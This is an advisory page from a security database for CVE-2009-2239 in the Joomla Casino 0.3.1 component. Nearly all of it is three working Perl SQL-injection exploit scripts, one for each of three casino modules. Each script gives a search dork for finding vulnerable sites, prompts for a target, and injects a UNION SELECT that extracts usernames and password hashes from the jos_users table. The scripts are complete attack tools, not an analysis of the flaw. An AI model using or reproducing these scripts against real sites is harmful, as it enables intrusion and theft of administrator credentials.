|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com |
|
|
Home SecurityAlert Database |
|
|
Topic : | Joomla Casino 0.3.1 Multiple SQL Injection Exploits
|
SecurityAlert : 5965
CVE : CVE-2009-2239
CWE : CWE-89
SecurityRisk : Medium (About)
Remote Exploit : Yes
Local Exploit : No
Victim interaction required : No
Exploit Available : Yes
Credit : ByALBAYX
Published : 30.06.2009
Affected Software : | Joomla Casino 0.3.1 |
 Advisory Content : #!/usr/bin/perl -w
########################################
#[~] Author : ByALBAYX
#[~] Site : WWW.C4TEAM.ORG
########################################
#[!] Modul : com_casino_blackjack
#[!] Dork : inurl:"com_casino_blackjack"
########################################
system("color FF0000");
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t | C4TEAM |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t |Joomla Module com_casino_blackjack SQL Inj Vuln|
\n\n";
print "\t\t | ByALBAYX |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target .
"/index.php?option=com_casino_blackjack&game_mode=Blackjack&shuffle=1&Itemi
d=1+AND+1=2+UNION+SELECT+".$column_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}
###################################################################
#!/usr/bin/perl -w
########################################
#[~] Author : ByALBAYX
#[~] Site : WWW.C4TEAM.ORG
########################################
#[!] Modul : com_casinobase
#[!] Dork : inurl:"com_casinobase"
########################################
system("color FF0000");
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t | C4TEAM |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t |Joomla Module Com_Casinobas SQL Inj Vuln|
\n\n";
print "\t\t | ByALBAYX |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target .
"/index.php?option=com_casinobase&Itemid=1+AND+1=2+UNION+SELECT+".$column_n
ame.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}
###################################################################
#!/usr/bin/perl -w
########################################
#[~] Author : ByALBAYX
#[~] Site : WWW.C4TEAM.ORG
########################################
#[!] Modul : com_casino_videopoker
#[!] Dork : inurl:"com_casino_videopoker"
########################################
system("color FF0000");
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t | C4TEAM |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
print "\t\t |Joomla Module com_casino_videopoker SQL Inj Vuln|
\n\n";
print "\t\t | ByALBAYX |
\n\n";
print
"\t\t-------------------------------------------------------------\n\n";
use LWP::UserAgent;
print "\nSite/Path:[http://wwww.c4team.org/Path/]: ";
chomp(my $target=<STDIN>);
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$host = $target .
"/index.php?option=com_casino_videopoker&Itemid=1+AND+1=2+UNION+SELECT+".$c
olumn_name.",1,2+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
print "\n[+] Admin Hash : $1\n\n";
print "# Exploit Calisti #\n\n";
}
else{print "\n[-] Hash Bulunamadý...\n";
}
References :
http://securityreason.com/expldownload/1/6272/1 (Exploit)
http://www.milw0rm.com/exploits/8743
Feedback :
If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
|
|
|
|